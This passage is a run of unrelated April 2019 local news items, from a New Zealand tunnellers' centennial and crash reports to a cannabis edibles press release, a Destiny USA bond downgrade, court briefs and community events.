and solutions and while there is still work to do there is no doubt we are heading in the right direction. Men from the New Zealand Tunnelling Company came home from the First World War 100 years ago this week. The company was the last of three New Zealand Defence Force formations to return, when they came ashore on the Auckland wharf on April 24 1919, and the men departed their various ways and the company ceased to exist. To commemorate the centennial of the companys homecoming, the Mayor of Arras, the French town where many of the Tunnellers served and their story is still told today, will be in Waihi. On Saturday, April 27, events will start at 12.45pm, with a powhiri at 1.15pm for the Mayor of Arras and representatives of Carriere Wellington, the underground museum in Arras, who will be in Waihi to pay their respects. Tunnelling Company researcher and one of the community event organisers, Sue Baker Wilson, says this isnt the first time Waihi residents are honoured with a visit from the Mayor of Arras. This visit is especially important as it represents the culmination of ten years of cooperation which has seen significant works in Arras and New Zealand to honour the New Zealand Tunnellers who served. This also includes the completion of the World War One Tunnelling Company Memorial in Waihi. Joining the mayoral party in Waihi will be three sons of Tunnellers, where two will be speaking and sharing their fathers stories. A number of other Tunnellers descendants are also attending, as well as Cook Islands Queen Pa Ariki, representing Cook Islands descendants. The names of Tunnellers and New Zealand men attached to the Tunnelling Company during their time overseas will be read in a Roll of Honour at the event, which records the names of men who died up to the April 1919 return of the company. Theres a saying that you are not really dead if your name is still spoken. As far as we are aware, this will be the first time a Tunnelling Role of Honour has been read out. We need to remember their names, so their stories live on. Sue says the Roll of Honour will be read out by women in recognition of the men who died. We also need to remember that these men left behind mothers, wives, sweethearts and families, and that these women also made significant sacrifice and effort. Members of the public are invited to attend the event on Saturday at The Tunnelling Company Memorial at Gilmore Reserve. Bay of Plenty You will be learning how to operate the machines and how to maintain them. This will include on site training.We are looking... View or Apply on GoodWork.co.nz One person has died following a serious crash on State Highway 34 (Kawerau Road West), between State Highway 30 and Kawerau. The crash occurred just after 5pm and involved two cars. One other person sustained moderate injuries. State Highway 34 is expected to remain closed for several hours. Earlier Update 5.44pm: A serious crash on State Highway 34 in Kawerau is a major road hazard, says the New Zealand Transport Agency (NZTA). The crash occurred on SH 34 to SH 30 Rotoma Westbound, and is affecting traffic travelling in both directions. A serious incident has been reported to emergency services in this area. Please delay your journey or use an alternative route. The NZTA warns motorists to expect delays and to use the alternative route on SH 34 eastbound from Kawerau to SH 30. A police spokesperson says the crash occurred around 5pm on SH 34 (Kawerau Road West) near Tamarangi Drive and SH 30. "It was a two car crash, one person is thought to be seriously injured and another person reportedly has moderate injuries." Police advise motorists to avoid the area as the road is currently closed. LINCOLN The University of NebraskaLincoln has earned an $11.85 million grant from the National Institutes of Health to establish a research center focused on understanding and addressing drug addiction in the rural Midwest. The five-year grant from NIHs Centers of Biomedical Research Excellence, or COBRE, will support Nebraskas multidisciplinary Rural Drug Addiction Research Center. The COBRE program funds health-related research and fosters faculty development and research infrastructure. RDAR will conduct cutting-edge research into understanding the extent and nature of rural addiction, develop evidence-based treatment methods, and support outreach and policy efforts to help reduce addiction and overdoses. The patterns of drug use addiction in the Midwest are so different from those on either coast or in Appalachia, said center director Kirk Dombrowski, John Bruhn Professor of sociology. This will be the only major research center in the country that focuses specifically on rural drug use in the Midwest. Unlike other regions, Midwestern drug users tend to take more than one type of drug, such as opioids, methamphetamines and alcohol, a pattern of polysubstance abuse that complicates prevention and treatment and is much less studied. To better understand the regions drug use, the center will establish the Longitudinal Network Core Facility, which will conduct a continuous, long-term study of a cohort of rural drug users. This valuable research tool will be the only longitudinal drug use study outside of Appalachia. As part of the grant, NIH has issued a certificate of confidentiality to protect the participants identities. The facility will use pioneering cellphone survey software developed at the university called Open Dynamic Interaction Network software, or ODIN. The software uses GPS and artificial intelligence to tailor study participants questions based on responses and proximity to other users or known drug locations, providing much more data. Developed by Dombrowski, Nebraska sociologist Bilal Khan and other researchers, ODIN is undergoing pilot testing throughout Nebraska. The center will support a wide range of research, such as the neuroscience of polysubstance addiction, cognitive implications of long-term use, and the social relationships between rural drug use and violence exposure. Research also will focus on finding effective intervention techniques attuned to the regions specific conditions. Center activities will include providing pilot project funding, hiring new faculty and mentoring early career faculty and students. In October, the center will host the first National Rural Addiction Research Symposium, a two-day conference that will bring the nations experts to Nebraska to discuss advancing research. The symposium is expected to become an annual event. Another key RDAR goal is to promote outreach and education. Center faculty, in collaboration with the University of Nebraska Medical Center, will establish a second core facility to transform research results into practical applications by developing outreach programs and disseminating information to local practitioners, service organizations and state policymakers. Drug addiction has devastating effects and with the overdose rate increasing in this region particularly in rural settings our ability to conduct this research is critical, Chancellor Ronnie Green said. The University of Nebraska is uniquely positioned to lead the way in improving the health and well-being of so many in the Midwest and beyond by bringing together into the Rural Drug Addiction Research Center world-leading faculty from multiple disciplines and expert in-state collaborators. The overdose rate in the Midwest continues to grow even as the rate in the rest of the nation plateaus or decreases. Dombrowski said the difference is due, in part, to the regions lack of available treatment options. In Nebraska, someone seeking treatment typically waits three months to more than a year, one of the worst delays in the nation and a major factor in the overdose crisis. Not all successful careers require an extensive college education. Companies, including several in Cheyenne County are looking for people who have a strong work ethic and are willing to learn. That is the message brought to students at Sidney High School Wednesday. Representatives of four companies in the Sidney area met with students Wednesday, explaining opportunities available with or without a college education. The program started with the presentation of statistics on the impact of manufacturing in Nebraska. An estimated 2,000 jobs in the state are in manufacturing, with an annual wage higher than the national average. Erik Eide, plant manager for Progress Rail, explained the company. He said it started in 1983 in Alabama. It was purchased by Caterpillar in the early 2000s. "It slowly got into the transportation industry," he said. About six years ago, it purchased one of the locomotive manufacturers, ElectroMotiveDiesel (EMD). Progress Rail has six facilities in the region; two in Cheyenne County. Of the two, one is focused on rail car wheels. "We provide 70 percent of the wheels under cars in North America," Eide said. Progress Rail seeks a variety of job skills, from welders and laborers to professional skills. "Now is a great time to get some of these experiences," he said. In the last six months, Progress Rail hired more than 12 local workers. Eide added Progress Rail is a very large company with an extensive benefits package. Tim Hausmann, plant manager for Adams Industries, talked about the diverse opportunities available in the company. Adams Industries has several divisions including trucking and warehousing. They ship everything from paper products to cement and pipes. They also staff carpenters, a dispatch team, an on-site safety manager as well as office staff. Adams Industries, located northwest of Sidney, also hires workers as young as 16 for summer help. Agri-Plastics was also represented at the program. Agri-Plastics is a Canadian company that expanded to Sidney in consideration of the shipping costs for customers in the area. Business has far surpassed expectation. They have a staff of 85 to 100 employees and expect to be at 120 by the end of the summer, doubling their predictions. Pay starts at $13 to $14 per hour and will soon by staffing the facility 24/7. Several summer positions are anticipated. However, applicants need to be at least 18 years of age. Sean Clymer, operations manager for Vitalix, said the company moved to Sidney following a facility fire in Alliance. They have expanded from the building the company purchased in the Industrial Park near Adams Industries, doubling the size of the former Alliance facility. Because of OSHA and safety requirements, Vitalix also requires applicants be at least 18 years of age. Sidney Economic Development Director Melissa Norgard said the four companies represented Wednesday employ more than 200 workers in Cheyenne County. Authors of sweet or clean romance share about their lives and their stories. VANCOUVER, British Columbia, April 26, 2019 (GLOBE NEWSWIRE) -- Organic Flower Investments Group Inc. (CSE: SOW)(FWB: 2K6)(OTC: QILFF) ("Organic Flower" or OFIG or the Company) is pleased to announce the Company has entered into a definitive agreement dated April 25, 2019 (the Purchase Agreement) to acquire an 80 per cent interest in The Edibles and Infusions Corporation (Edibles and Infusions); thus conceiving a Joint-Venture (the JV) with one of North Americas largest and most storied manufacturer and distributor of chocolate and sugar confectionary products (the JV Partner). Edibles and Infusions will design and develop a 50,000 square foot manufacturing and product formulation facility (the Facility), located in Winnipeg, Manitoba. The Facility will be operated by a roster of experienced chocolatiers and confectioners, as well as equipped with industry leading manufacturing equipment capable of producing an assortment of both cannabinoid/terpene-infused products for medicinal, functional and adult-use, including: Gourmet snacks, including caramel popcorn, cheese biscuits, cocoa cookies, glazed pecans, and salty pretzels; Chocolates/toffees/caramels; Gummies/confectionary/gum; Baked goods; Flavoured tinctures; Powdered drinks; and, CBD-infused pet products Edibles and Infusions is working to finalize its applications for a Health Canada Standard Processing License, as well as a Cannabis Sales License. Organic Flower anticipates the Facility will be fully operational by the first quarter of 2020 and once optimized could be capable of generating in excess of $750 million in annual sales revenue. This revenue number is based on the full capacity of the equipment operating 7 days per week, 20 hours per day with all product being sold, with the sales price based on current comparable retail pricing in the US (Colorado, California, Vegas, etc.). Edibles and Infusions is also negotiating various contract manufacturing agreements with Tier 1 Canadian Licensed Producers, in anticipation of the completion of the Facility. Joel Dumaresq, Chief Executive Officer and a Director or Organic Flower stated: Establishing a controlling stake in this JV is truly transformative transaction for Organic Flower. Along with our highly reputable JV Partner, we have firmly positioned ourselves at the forefront of the next phase of cannabis normalization- Cannabis 2.0. Armed with this state-of-the-art facility, Organic Flower expects to become the unequivocal leader within the highly lucrative cannabinoid-infused edibles and functional food marketplaces. The JVs downstream capabilities will be buoyed by one of Canadas leading sales forces, affording Edibles and Infusions the ability to secure immediate shelf space across all major retail channels, including: Groceries; Pharmacies; Convenience stores; Gas stations; and, Quick service restaurants Organic Flowers JV Partner was established nearly a century ago and has since become North Americas largest confectionary fruit slice manufacturer; supplying products to over 20,000 locations across North America- most prominently Costco and Wal-Mart. The Companys JV Partner manufactures and distributes several hundred unique stock keeping units (SKUs). The JV Partners top revenue generating SKUs, which can be reformulated to permit low-touch infusion of cannabinoids include: Assorted large fruit slices (Premium private label); Assorted mini fruit slices (Premium private label); Sunsations (Private label Pectin based round jellies); Satin mix; Mint baby pillows; Assorted baby pillows; Fruit drops; Toasted coconut marshmallow; Christmas ribbon; and, Neapolitan Squares The development of the JVs state-of-the-art manufacturing facility further will position Organic Flower as the premier domestic vertically integrated cannabis company. This transaction affords the Company preeminent exposure to complementary product development and downstream assets within the burgeoning cannabinoid-infused and functional foods vertical. The marketing and eventual distribution of the JVs cannabinoid-infused product lines will follow additional testing and will be subject to necessary approvals and licences to be granted by Health Canada, as well as regulatory authorities in other territories. Organic Flowers JV Partner boasts established industry relationships, as well as access to best-in-breed supply chain management infrastructure. The Companys JV Partner will leverage its extensive operating experience to: Expedite product to market; Design cutting-edge packaging protocols; Source superior raw product inputs; and, Develop premium product formulations Laurel Fletcher, President of Organic Flowers JV Partner stated: We are ecstatic to welcome Organic Flower into our family. With three generations of confectionery manufacturing experience, we understand the importance of quality. We are confident that together with Organic Flower, we are tactically positioned to capture a large portion of the CBD/THC market. Under the terms of the Purchase Agreement, Organic Flower will acquire an 80% interest in the Edibles and Infusions JV for an aggregate purchase price equal to up to $42.5 million, payable in common shares in the capital of the Company (Aggregate Purchase Price). Of the Aggregate Purchase Price, Organic Flower will pay $10 million at closing, comprised of common shares of Organic Flower (each an Organic Share) at an attributed value of $0.50 per Organic Share. Organic will issue up to an additional $32.5 million Organic Shares at an attributed price equal to a 5-day VWAP at the time of issuance, upon the JV achieving certain milestones throughout 2022. Pursuant to the JV, Organic will fund up to $15 million to develop the Facility and issue up to $9 million of Organic Shares to the manager of the JV based on the managers achievement of certain milestones throughout the term of the JV. In addition to acquiring an 80% interest in the Edibles and Infusions JV, Organic Flower has also acquired an option (Option) to purchase certain business assets of the JV Partner for the purchase price of $12.5 million. As consideration for the grant of the Purchase Option in favour of Organic Flower, the Company has agreed to issue: (i) $1 million of Organic Shares for the Option to be exercisable within six (6) months of the Option grant; and(ii) an additional $1 million Organic Shares to extend the exercise period of the Option for an additional six (6) months. The value of the Organic Shares issued for the Option is based on a 5-day VWAP at the time of issuance. The Organic Shares issuable on the acquisition of the JV interest and the Option are subject to a hold period of at least four (4) months and one (1) day. The closing of this acquisition is subject to customary terms and conditions. ABOUT ORGANIC FLOWER INVESTMENTS Leveraging strategic relationships, proprietary investments and exclusive partnerships with preeminent international cannabis cultivators and formulators for the development of best in class products and brands to be marketed and distributed throughout our global footprint. Via its wholly owned subsidiary, Delta Organic Cannabis Corp., Organic Flower is launching one of the largest and most efficient cannabis facilities on the planet. ON BEHALF OF THE ORGANIC FLOWER INVESTMENTS GROUP INC. BOARD OF DIRECTORS Joel Dumaresq Joel Dumaresq CEO, Director +1 (604) 687-2038 info@sowcannabis.ca Learn more about Organic Flower by visiting our website at: https://sowcannabis.ca/ THE CSE HAS NOT REVIEWED AND DOES NOT ACCEPT RESPONSIBILITY FOR THE ACCURACY OR ADEQUACY OF THIS RELEASE. Notice Regarding Forward Looking Information: This news release contains certain "forward-looking information" within the meaning of applicable Canadian securities law. Forward-looking information is frequently characterized by words such as "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed" and other similar words, or information that certain events or conditions "may" or "will" occur. This information is only a prediction. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking information throughout this news release. Forward-looking information includes, but is not limited to: political changes in Canada and internationally, future legislative and regulatory developments involving cannabis in Canada and internationally, the Companys ability to secure distribution channels in international jurisdictions, competition and other risks affecting the Company in particular and the cannabis industry generally. Without limiting the generality of the foregoing, the forward-looking statements herein relate to, among other things: the development of the Facility in a timely manner, the application and issuance of a Health Canada Standard Processing License and a Cannabis Sales License, the optimization of the Facility according to schedule to generate annual sales revenue, the negotiation of various manufacturing agreements with Licensed Producers on terms acceptable to the Corporation, and the general growth of the cannabinoid-infused edibles and functional food marketplaces. The forward-looking information contained in this release is expressly qualified by the foregoing cautionary statements and is made as of the date of this release. Except as may be required by applicable securities laws, the Company does not undertake any obligation to publicly update or revise any forward- looking information to reflect events or circumstances after the date of this release or to reflect the occurrence of unanticipated events, whether as a result of new information, future events or results, or otherwise. David Clarke of VDOT had 10 written requests to speak at the hearing but six actually talked to the Supervisors. Bennie Quesenberry told the hearing that he has requested help before on Quesenberry Road. Im asking for help again. Tom Costello of Twin Forks Road said his road washes out every time it rains, and they need help. After the hearing, which lasted less than 30 minutes, Supervisors voted to put Quesenberry, Ponderosa, Mill Run and Hope Roads on the rural rustic program. The vote on each road was unanimous. Weve got a lot of roads in this county, Board Chairman Lauren Yoder said as he asked each Supervisor to inspect the roads requested by speakers in their district. The Board plans to make any changes, as needed, to the six-year recommendations from VDOT at its next meeting. The first three projects under the VDOT plan were long-proposed pedestrian improvements at the intersection of U.S. 221 and Virginia Rt. 8 in downtown Floyd, site of a pedestrian death in 2016. Syracuse, N.Y. -- Destiny USAs mortgage troubles have prompted a major credit rating service to raise the possibility of downgrading $297 million in bonds on the Syracuse shopping mall to junk status. Moodys Investors Service on Monday downgraded the bonds to Baa3 from Baa1 and placed them on review for a possible further downgrade to below investment grade. The downgrade follows the transfer of $430 million in mortgage loans on the giant mall to special servicing, a move Moodys said indicates the mall owners difficulties extending or refinancing the loan when it matures on June 6. The downgrade reflects our view that material near-term improvement in the projects financial performance and (debt service) coverage ratios is unlikely, absent a reduction in total debt, which is not anticipated, Moodys said. Moodys rates bonds on a scale of one to three letters, with multiple sub-categories for each. Those that start with a capital A are considered very good, with little risk to investors. Those starting with a capital B are considered middling quality but still investment grade, while those with a capital C are the worst. Its downgrade of Destiny USAs bonds keeps them in the category of investment grade, but just barely. Any further downgrade would place them in junk bond status, meaning their risk of default is so high that big institutional investors and banks would generally avoid them. The downgrade will likely hurt bond holders, who can expect to get a lower price for the bonds when they sell them. But any downgrade -- especially a series of downgrades that lead to junk status -- would serve as an alarm bell about the malls finances and possibly make it harder for its owner, Pyramid Management Group, to borrow in the future or refinance existing debt. Even if Pyramid manages to extend its mortgage loans, Moodys said it will be looking closely at the malls proposed business improvement plan. If it is not convinced that the plan will provide long-term improvement in the malls financial performance, the rating is likely to be downgraded to below investment grade, it said. It said Destinys tenant base has been providing less rental income in recent years, while the need for revenues to grow increases annually in tandem with its debt service obligations. Additionally, the issuer is exposed to the overall trends in the brick and mortar retail sector where consumer demand can vary over time and through economic cycles, and which currently faces difficult competition from alternate mediums such as online retail, Moodys said. Pyramid said the downgrade did not come as a surprise. Since we initiated the transfer of the propertys mortgage debt into special servicing, the Moodys rating action was expected, the company said in a statement to syracuse.com | The Post-Standard. Its also important to note that all financial obligations relating to the property are current, and the Moodys rating on the PILOT revenue bonds remains within the investment-grade range. Pyramid said it is seeking a modification of its mortgage loans and is in negotiations with the Wells Fargo special servicing team to reach an agreement that meets the needs of all parties. As part of a deal that gave the mall a 30-year property tax exemption, the Syracuse Industrial Development Agency issued the bonds in 2007 to help developer Robert Congel fund an 874,200-square-foot expansion that made the center the sixth largest shopping mall in the country and the largest in New York. Congels company is obligated to make payments in lieu of taxes. Those payments, currently $20 million a year and rising 4% annually, would normally go to local taxing jurisdictions. But as part of Congels tax deal, the city of Syracuse and Onondaga County waived their rights to the payments and allow Pyramid to use the money to make its bond payments. The two governments agreed to the deal to give Congel an incentive to expand the mall, continuing a transformation of the citys formerly industrial lakefront into a commercial and recreational attraction. That transformation started when the developer cleared away an old scrap yard to build the mall, originally named the Carousel Center. The citys development agency has no financial risk in connection with the bonds. If revenues from the mall are insufficient to cover the bond payments, holders of the bonds can foreclose on the mall but cannot come after the agency. Pyramid has not missed any of its mortgage or bond payments. But under the terms of its mortgage, it has been making interest-only payments for the last five years and the full balance -- which remains $430 million -- will come due on June 6. On that date, Pyramid will default if it cannot refinance the mortgage with a new loan or obtain an extension from the special servicer, Wells Fargo Bank. The administration of commercial mortgage-backed securities, such as Destinys mortgage loans, are transferred to a special servicer when the borrower has failed to make a payment or is in danger of defaulting. They represent the institutional investors who own the securities and are authorized to negotiate changes in the loan terms or, in a worst-case scenario, to foreclose on a property and sell it to repay the lenders. Moodys said it expects Pyramid to continue to make its bond payments because they are in a strong legal position with a first-mortgage interest in the original portion of the mall and are further backed by a $31 million debt service reserve fund. However, it said the bonds could get caught up in a bankruptcy filing if Pyramid is unable to restructure its mortgage loans outside of a formal insolvency proceeding. Rick Moriarty covers business news and consumer issues. Contact him anytime: Email | Twitter | Facebook | 315-470-3148 Syracuse, NY -- Shamik Kings antics in court have all the trappings of a madman. The 29-year-old accused rapist talks nonstop gibberish, littered with swear words, while shouting out occasional words. During a previous court appearance, he pledged to worship the devil. False impersonation! False incarceration! False...!" King yelled in court today. How about false prosecution? County Court Judge Stephen Dougherty suggested. "You might as well go for the trifecta." As King continued to mumble loudly, Dougherty stopped him: Shamik, be quiet! Yes, sir, King said, stopping for a few moments. King is facing up to 25 years in prison if convicted of raping a 74-year-old woman in her North Side apartment. Hes accused of entering her unlocked apartment on James Street, assaulting and raping her. But his behavior -- in court and jail -- has led to repeated psychiatric exams. The latest one delayed his trial until mid-August. It again found him competent to stand trial. Prosecutor Jarrett Woodfork believes King is faking mental illness. Hes repeatedly stated he's ready for trial. But defense lawyers Tim Roulan and Dan Petrone want another doctors opinion -- as allowed under law. They are considering an insanity defense. Today, judge Dougherty set a deadline of May 10 for King to meet with another doctor. If King refuses, the insanity defense -- known as not guilty by reason of mental disease or defect -- wont be allowed at trial, the judge said. King remains jailed as his case heads to trial. THERESA, N.Y. -- A Jefferson County man was arrested Thursday for having child porn, according to New York State Police. Walter D. Zeller, 24, o Theresa, was charged with two counts of promoting a sexual performance by a child, police said. Troopers executed a search warrant at 123 Commercial St., Apt. 2-2, in the Village of Theresa as part of a child pornography investigation, police said. There, they arrested Zeller. He was arraigned in Town of Theresa Court and was released under supervision of probation, police said. TORONTO, April 26, 2019 (GLOBE NEWSWIRE) -- Sonor Investments Limited (TSX VENTURE:SNI.PR.A) today reported its financial results for the year ended December 31, 2018 and the three months ended March 31, 2019. Michael Gardiner, Chairman, announced that David Middleton will be replaced as CFO by Rosabell Chung Hun. David will continue as a consultant of the company assisting the management team from time to time. Rosabell joins us with extensive related experience. Ms. Chung joins us from Wittington Investments Limited, where she held the role of Controller, leading the finance teams for several business units. Ms. Chung holds an MBA in Finance from Queens University, Ontario and a CPA, CMA professional designation. We are excited to have her join the management team. M. Gardiner also commented on the Companys recent financial results. Year ended December 31 3 months ended March 31 2018 2017 2019 2018 $000 $000 $000 $000 Revenue 3,106 5,182 458 (20) Net Income (loss) 2,674 4,598 293 (139) Michael Gardiner, Chairman and CEO stated that as at March 31, 2019, the Companys assets totaled $69.0 million compared to $68.7 million as at December 31, 2018. These assets as at March 31, 2019 included $10.2 million of marketable securities, $35.6 million in a private investment and $23.0 million of cash and cash equivalents. During the year ended December 31, 2018, the Company realized $872,000 in net capital gains on the sale of investments and recorded no impairments on its security investments. This compares to net capital gains of $1,247,000 on the sale of investments during the year ended December 31, 2017. During the three months ended March 31, 2019, the Company realized $NIL in capital gains on the sale of investments and recorded an increase in unrealized gains of $246,000. The Company has applied IFRS 9 retrospectively, with the application date of 1 January 2018 and adjusting the comparative information for the period beginning 1 January 2017, as more fully described in the notes to the Companys Financial Statements. During the period under review, the Company has maintained net assets and qualified investments in excess of the amounts prescribed under the share conditions pertaining to the First Preference Shares in its capital stock. As well, the Company announces that a semi-annual eligible dividend of $0.225 per share on the Companys 9% First Preference Shares has been declared payable on September 15, 2019 at a meeting of its Board of Directors. The dividend will be paid to shareholders of record at the close of business on September 1, 2019. Sonor Investments Limited is an investment company located in Toronto, Canada. The First Preference Shares of Sonor trade on The TSX Venture Exchange under the symbol SNI.PR.A. Neither the TSX Venture Exchange nor its Regulation Service Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Company Contacts: Mr. Michael Gardiner Chairman & CEO (416) 369-1499 Ms. Rosabell Chung Hun Treasurer & CFO (416) 369-1499 New York State Police are asking for the publics help finding a Madison County woman who was reported missing from the Town of Stockbridge. Kristine C. Schreckenstein, 67, was reported missing by family on April 23 from a residence on Mosquito Point Road, police said. She is 5-feet tall, weights 130 pounds and has gray hair and blue eyes. She may be driving a red 2001 Audi TT with a plate of EBG 8474. Police ask that if they know Schreckensteins whereabouts, they contact New York State Police in Oneida at 315-366-6000. EAST BLOOMFIELD, NY -- Downstate meets Upstate. Urban meets rural. A renowned beer maker meets some of its most devoted fans on their home turf. The much-anticipated opening of a Finger Lakes location for Brooklyns Other Half Brewing Co. is happening this weekend. The new brewery, officially known as Other Half Rochester, had a soft opening Thursday night at 6621 Routes 5 and 20, just west of Canandaigua. Thats the former home of Nedloh Brewing Co., a small craft brewer that closed in 2017. Other Half Roc will be open seven days a week. The brewery specializes in hazy, dry-hopped IPAs; sweet and thick imperial stouts, plus sours and other styles. The new brewery has no kitchen, but will have food trucks parked outside as often as possible. To say Upstate New York beer fans have been waiting for Other Half would be an understatement. Since last fall, the brewerys followers have stood in line almost every weekend -- in often brutal weather -- to pick up special releases of cans brewed at the Brooklyn brewery. Those were sold to take back home. Now, Other Half has opened its tasting room, where for the next few weeks you can get beer from the Brooklyn brewery by the pint or to-go. (That also means there are working rest rooms, which was not the case for the can releases of the last few months). In another month or so, beers made at the Upstate location will join the line-up. People seem happy to see us open, thats for sure, said Andrew Burman, who owns Other Half with partners Sam Richardson and Matt Monahan. Were sure happy to be open. Other Half plans to continue to renovate the 8-acre property, including the possibility of an outdoor pavillion. They may be adding more production space. Eventually, Burnam has said, the Upstate location will make 20 to 25 beers, including more sours and barrel-aged offerings. For now, most of the beers will be sold on site. Distribution to other areas around the state, perhaps from Syracuse to Buffalo, could happen in the future. Other Half had been seeking an Upstate New York location after having had success with special releases of its beers in recent years at locations such as Now & Later in Syracuse, The Tap & Mallet in Rochester and Thin Man Brewing in Buffalo. When the Nedloh property became available, it seemed like the perfect fit. The Other Half partners paid $660,000 for the Upstate site, and planned to invest $1.8 million in it. The state is providing $400,000 in income tax credits. We knew we had fans up here, Burnam said. Now, were here with them. Hours will be 2 to 8 p.m. Monday to Wednesday; noon to 8 p.m. Thursday; noon to 10 p.m. Friday; 10 a.m. to 10 p.m. Saturday and 10 a.m. to 6 p.m. Sunday. Don Cazentre writes about craft beer, wine, spirits and beverages for NYup.com, syracuse.com and The Post-Standard. Reach him at dcazentre@nyup.com, or follow him at NYup.com, on Twitter or Facebook. Former U.S. Rep. Claudia Tenney says she hasnt ruled out seeking an election rematch next year with Rep. Anthony Brindisi, who defeated her in 2018 in one of the closest House races in the nation. Tenney, a Republican from New Hartford, was asked about the possibility of trying to win back the 22nd Congressional District seat during an appearance Thursday on WUTQ-FM (100.7) in Utica. You mean a rematch? Tenney said playfully with the hosts of Talk of the Town. You mean the comeback, like Tiger Woods? Yeah. No, I dont know. Asked later to elaborate, Tenney said she has considered launching a 2020 campaign. Ive had a lot of people approach me, especially here all over the community, she said. Tenney did not say whether she has set a deadline for a decision about her future in politics. She did not respond when asked for comment by Syracuse.com | The Post-Standard. Federal Election Commission records in Washington show Tenney did not raise money for a 2020 campaign in the first quarter of year. Tenney had $58,494 remaining in her campaign account, while Brindisi reported having $392,304 in his campaign account as of March 31, FEC records show. The candidates and special-interest groups spent about $24 million on the 22nd District campaign last year, making it one of the most expensive House races in the nation. Brindisi, D-Utica, won the 2018 election by about 1 percentage point after a count of absentee ballots. At least one Republican sees no reason to wait for Tenney to decide whether shell enter the 2020 race. George Phillips, a high school history teacher from Broome County, began his campaign for the GOP nomination in March. Phillips has run unsuccessfully for Congress three other times. He lost to Tenney in a 2016 primary election. Tenney told WUTQ that she has been doing a lot of soul-searching and traveling since her single term in Congress ended in January. She traveled to South Korea with the Association of Former Members of Congress, a bipartisan nonprofit group. Tenney said she took a trip to Memphis, where she spoke to students at Rhodes College and toured the National Civil Rights Museum. Contact Mark Weiner: Email | Twitter | Facebook | 571-970-3751 Michele Bowen Loperfido was supposed to be driving from her home in Union Springs today to pick up her grandson in Syracuse so his parents could have a weekend to themselves. Instead, she is planning her sons funeral. "There is nothing so sad as knowing you can never hug, kiss or even see your child again,'' Loperfido told Syracuse.com|The Post Standard today. Loperfido is the mother of James F. Bowen III, 21, who died at Upstate University Hospital in Syracuse Thursday after being hit by a tractor-trailer Wednesday on the New York Thruway. His girlfriend, Grace Wilson, 24, of Syracuse, was hit too and died shortly afterwards. The couple had stopped their 2019 Mitsubishi Mirage in the driving lane of Interstate 90 west at 12:39 a.m. Wednesday in Madison County and were standing in the road when they were hit, according to New York State Police. A third person stayed inside the car and was not hit, police said. The couple, who lived together in Syracuse and had been together several years, had a 16-month old son, James IV or Baby James, who was the love of their lives, Loperfido said. Families of both Grace and Jimmy - who celebrated Baby James first birthday together in the fall - are devastated and trying to cope with the death of the couple. "Grace was a really great mom, and Jimmy loved being a dad,'' Loperfido said. He watched his son when Grace was at work, and he loved to play with him and sit with him out in the swimming pool. When Jimmy, who never finished high school at Cato-Meridian, found out he was going to be a dad, he was scared, his mom said. "He was only 19, and his own dad died when he was 11,'' Loperfido said. We all told him youll do the best you can do, and thats all any parent can do. Then when he was born, he stepped up, and tried to change his diaper. He just looked at us like what do I do? Jimmy Bowen learned how to take care of his son, and loved every moment he spent with him, his mom said. Grace had worked at Dennys, Loperfido said, and was just about to start training at Chilis. Her son meant everything to her, her family said. Loperfido last saw her son the day before Easter, and on Easter Grace and Jimmy sent her photos of Baby James opening his Easter basket and putting on the sunglasses she had hidden in the basket. With winter over, Jimmy was about to start work doing roofing again, and he was excited about that as well, his mom said. Jimmy was always joking around, his mom said. "He was always goofing off - I remember when I married his stepdad he spun me around and around on the dance floor. "Im going to miss everything about him,'' she said. Graces family said it was too early to talk about their daughter, but there are several fundraisers and online fundraising pages designed to help the family. Loperfido said theyd be meeting to talk about their grandson. Funeral arrangements for Jimmy have been scheduled, Loperfido said. Calling hours are from 2 to 6 p.m. Wednesday with services to follow at White Chapel Funeral Home, 197 South St, Auburn. Services for Grace have not been finalized. Jimmys little sister, Amber Bowen, said shell miss her big brother terribly. "He was always there when I needed someone to talk to when I was upset,'' she said. SYRACUSE, N.Y. -- From donating to the construction of a church to rebuilding after a natural disaster, Central New Yorkers have a history of helping the people of Sri Lanka during a time if need. Today, days after more than 200 people were killed in the Easter suicide bombings at churches and hotels, CNYers are gathering in support of survivors and in honor of the victims at a prayer service at Hendricks Chapel. One the churches that was bombed on Sunday, the Zion Church, has many ties to CNY. Believers Chapel in Cicero under the leadership of its founding pastor Paul Wagner partially funded the completion of Zion Church, which is located in the eastern coastal city of Batticaloa. The Zion Church was one of three churches that was targeted Sunday in a series of coordinated suicide bombings. Three hotels were also attacked. As of Thursday, 253 had died and hundreds were injured, according to The Associated Press. At the Zion Church, 29 people were killed, including 14 children that had just been released from Sunday school, reports said. Sri Lankan authorities have blamed a local religious extremist group, National Towheed Jamaat. The Islamic State group has also claimed responsibility, though officials are still investigating the extent of any involvement, the AP reported. Alex Thevaranjan, an accounting professor at Syracuse University, is once again calling out to the CNY community to help the people of his native country. In 2004, the Zion Church was badly affected by a tsunami. Given CNYs relationship with the Zion Church, Thevaranjan helped to create Syracuse for Sri Lanka." The grassroots organization helped to build 100 houses for tsunami victims and sponsored the education of 100 children affected by the tsunami. Thevaranjan said the prayer service at Hendricks Chapel this afternoon will be the start of the healing from the attacks. He invites community members to the Worship the King, a service of music, testimony and prayer. The event will be held at 4:30 to 6:30 p.m. and is open to the public. Free parking will be available at Irving Garage. The annual event, which is held during the universitys Mayfest, will have a special focus this year as those in attendance will be asked to prayerfully reflect on the Sri Lanka Easter attacks. Pastor Roshan Mahesan, of the Zion Church in Sri Lanka, will address the congregation via a video message, Thevaranjan said. Like the tsunami brought people together, I would like to bring people together again, Thevaranjan said. Worship brings people together. Now is the time to reach out to help those who are hurting. Thevaranjan said he is in contact with Pastor Mahesan and hopes to be able to help the church community heal from another tragedy. I would really like to see the Syracuse Sri Lanka group revived, he said. Thevaranjan will host a meeting at 6 p.m. Saturday for anyone interested in reviving the group. The meeting will be held at the House of Daniels, which is located at 815 Comstock Ave., in Syracuse. Parking is available the back of the house through Ostrom Place. For more information, email athevara@syr.edu or call (315) 530-2363. Editors note: The family of fourth-year medical student Joseph A. Morra, who died March 18, 2019, sent the following letter of thanks to the administration of Upstate Medical University. They wish to share it with the wider community. Dear Upstate community who knew Joseph A. Morra, I, Dr. Joseph G. Morra, my wife Maria, my daughter Christine, and Kevin, our son-in law, would like to thank the fourth-year class of medical students, other medical students who knew our beloved son Joey, and the faculty and administration of Upstate for your outpouring of love to us during the tragedy we have experienced. To Dr. Mantosh Dewan, president of Upstate Medical University: You have been so 